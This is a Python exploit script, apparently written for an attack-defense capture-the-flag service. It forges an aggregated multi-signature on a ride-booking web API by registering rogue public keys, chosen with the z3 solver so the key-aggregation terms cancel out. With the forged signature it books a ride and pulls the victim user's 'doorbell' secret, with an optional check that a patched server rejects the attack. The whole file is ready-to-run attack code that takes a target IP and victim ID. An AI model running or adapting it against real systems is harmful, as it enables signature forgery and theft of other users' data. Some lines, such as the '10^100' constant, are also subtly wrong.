exploit.py

#!/usr/bin/env python3
import sys
import requests
from Crypto.Util.number import bytes_to_long, long_to_bytes
from client import Client
from string import ascii_letters, digits
from random import sample, randrange, shuffle, choice
from base64 import b64encode, b64decode
from functools import partial
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from math import ceil
from z3 import *
from time import perf_counter
from cysignals.alarm import alarm, AlarmInterrupt, cancel_alarm
import ctypes

def random_string(nchars = 20, alph = ascii_letters + digits):
    return ''.join(sample(alph, nchars))

def sign_atk(users_atk, passwords_atk, msg, C):
    Hsig = C.sha256

    pubkey_atk_points = [C.decode_point(C.get_public_key(username)) for username in users_atk]

    useful_pubkeys = [C.decode_point(b64decode(C.derive_pubkey(password_atk).encode())) for password_atk in passwords_atk]

    Xagg, ai = C.aggregate(useful_pubkeys, C.encode_pubkeys(pubkey_atk_points))

    pubkeys_to_server = [C.encode_point(P) for P in pubkey_atk_points]

    ri = [randrange(C.o) for _ in range(len(useful_pubkeys))]
    Ri = [ri_*C.G for ri_ in ri]
    R = sum(Ri, C.G.IDENTITY_ELEMENT)
    c = Hsig(C.encode([Xagg, R, msg]))

    s = 0
    for ri_, ai_, password in zip(ri, ai, passwords_atk):
        kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=ceil(C.o.bit_length()/8), salt=C.salt, iterations=5000)
        xi_ = bytes_to_long(kdf.derive(password.encode()))
        s += ri_ + c*ai_*xi_
        s %= C.o

    return (C.encode_point(R), s), pubkeys_to_server

def exploit(ip=None, flag_id=None, verbose=False, max_num_pubkeys=12, TIMEOUT=60, z3_TIMEOUT=13000, patch=False):

    def vprint(s, verbose=False):
        if verbose:
            print(s)
        return
    
    if ip == None:
        C = Client()
    else:
        C = Client(base_url=f'http://{ip}:5000/api')

    vprint = partial(vprint, verbose=verbose)

    if flag_id == None:
        flag_user = random_string()
        C.register((flag_user, flag_user, flag_user, 'test_flag'))
        flag_id = flag_user

    T_point = C.decode_point(C.get_public_key(flag_id))
    T = C.encode_point(T_point)

    min_n = None
    min_s = 10^100
    minvec = None

    try:
        alarm(TIMEOUT)

        listnumvars = range(2, 50)

        for n in listnumvars:
            Ti = {i:sum(long_to_bytes((i*T_point).y)) for i in range(-n, n+1) if i != 0}
            Ti_items = list(Ti.items())
            assert [t[0] == i for t,i in zip(Ti_items, range(-n,n+1))]

            s = Solver()
            x = [Int(f'x{i}') for i in range(len(Ti_items))]

            for i,xi in enumerate(x):
                if i == n:
                    s.add(xi >= 1)
                else:
                    s.add(xi >= 0)
                s.add(xi <= 2)

            s.add(Not(sum(x) == 0))
            s.add(sum(x) <= max_num_pubkeys-1)
            s.add(sum(x[idx]*i     for idx,(i,Ti_) in enumerate(Ti_items)) == 0)
            s.add(sum(x[idx]*i*Ti_ for idx,(i,Ti_) in enumerate(Ti_items)) == 0)

            s.set("timeout", z3_TIMEOUT)

            start = perf_counter()
            check = s.check()
            stop = perf_counter()
            eta_check_solver = stop-start

            vprint(f'[+] {check = }, took {eta_check_solver:.4f}s')

            if check == sat:
                model = s.model()
                sol = [model[x[i]].as_long() for i in range(len(x))]
                
                vprint(f'[+] found {sol = }')
                s = sum(sol) + 1
                if s < min_s:
                    minvec = sol[:]
                    min_s, min_n = s, n
                    break
            elif check == unknown:
                vprint('[+] z3 timed out!')
            else:
                continue

    except (AlarmInterrupt, ctypes.ArgumentError):
        print(f'[!] exploit timeout, {n = }')
        minvec, min_n, min_s = None, None, None
    else:
        cancel_alarm()

    vprint(f'\n[+] {minvec = } {min_n = }\n[+] {min_s = }')

    if min_n == None or check == unknown:
        return None

    if min_s > max_num_pubkeys:
        vprint('[+] min_s too big, attack failed')
        return None

    pubkeys_T_points = [i*T_point for i in range(-min_n, min_n+1) if i != 0]
    pubkeys_T_b64 = [C.encode_point(P) for P in pubkeys_T_points]

    target_pubkey = T
    target_username = flag_id

    usernames_atk, passwords_atk, addresses_atk, doorbells_atk = [[random_string() for __ in range(max_num_pubkeys - min_s + 1)] for _ in range(4)]
    pubkeys_atk = [C.derive_pubkey(password_atk) for password_atk in passwords_atk]
    pubkeys_atk_points = [C.decode_point(b64decode(pubkey_atk.encode())) for pubkey_atk in pubkeys_atk]

    users_atk = [[username_atk, address_atk, doorbell_atk, pubkey_atk] for username_atk, address_atk, doorbell_atk, pubkey_atk in zip(usernames_atk, addresses_atk, doorbells_atk, pubkeys_atk)]
    
    assert len(minvec) == 2*min_n
    
    pubkeys_Ti_points = []
    to_register = []
    for i in range(2*min_n):
        if i != min_n:
            for _ in range(minvec[i]):
                to_register.append([random_string() for _ in range(3)] + [pubkeys_T_b64[i]])
                pubkeys_Ti_points.append(pubkeys_T_points[i])
        elif minvec[i] > 1:
            for _ in range(minvec[i]-1):
                to_register.append([random_string() for _ in range(3)] + [target_pubkey])
                pubkeys_Ti_points.append(T_point)

        should_zero = pubkeys_Ti_points + [T_point]
        Xagg, ai = C.aggregate(should_zero, C.encode_pubkeys(should_zero))
        
    Ti = {i:sum(long_to_bytes((i*T_point).y)) for i in range(-min_n, min_n+1) if i != 0}
    iTi = [i*Ti_ for i,Ti_ in list(Ti.items())]
    thingy = sum([minvec[i]*iTi[i] for i in range(2*min_n)])

    vprint(f'\n[+] should zero\n{Xagg = }\n{ai = }\n{thingy = }\n')

    pubkeys_server = pubkeys_Ti_points  + [T_point] + pubkeys_atk_points
    users_server   = [r[0] for r in to_register] + [target_username] + usernames_atk

    couples = list(zip(pubkeys_server, users_server))
    shuffle(couples)
    pubkeys_server = [c[0] for c in couples]
    users_server   = [c[1] for c in couples]

    Xagg_server, ai_server = C.aggregate(pubkeys_server, C.encode_pubkeys(pubkeys_server))

    Xagg_atk, ai_atk = C.aggregate(pubkeys_atk_points, C.encode_pubkeys(pubkeys_server))

    vprint(f'[+] {Xagg_atk       = }')
    vprint(f'[+] {Xagg_server    = }')
    vprint(f'[+] {len(ai_server) = }')

    assert Xagg_atk == Xagg_server
    
    to_register += users_atk
    shuffle(to_register)
    for user in to_register:
        C.register_api(*user)

    stations = [s['label'] for s in C.get_stations()]
    starting_point = choice(stations)

    msg = f'{starting_point}:{target_username}\'s home'
    sigma, pubkeys = sign_atk(users_server, passwords_atk, msg, C)

    payload = b'.'.join([b64encode(str(x).encode()) for x in [users_server, pubkeys, msg, sigma]]).decode()

    assert len(users_server) == max_num_pubkeys

    r = requests.post(f'{C.base_url}/rides/book', json={
        'signature': payload
        }).json()
    
    if patch:
        assert (r['status'] == 'error') and (r['message'] == 'No h4ckz0rs'), str(r)
        return r['message']
    else:
        assert (r['status'] == 'ok') and ('doorbell' in r), str(r)
        return r['doorbell']

if __name__ == "__main__":
    ip, flag_id = None, None
    if len(sys.argv) > 2:
        ip = sys.argv[1]
        flag_id = sys.argv[2]
    else:
        print('Usage: python3 exploit.py <ip> <flag_id>')
        print('[!] ip or flag_id not specified')
        print('[!] testing on localhost:5000')
        print('[!] generating flag by myself')

    print(exploit(ip, flag_id))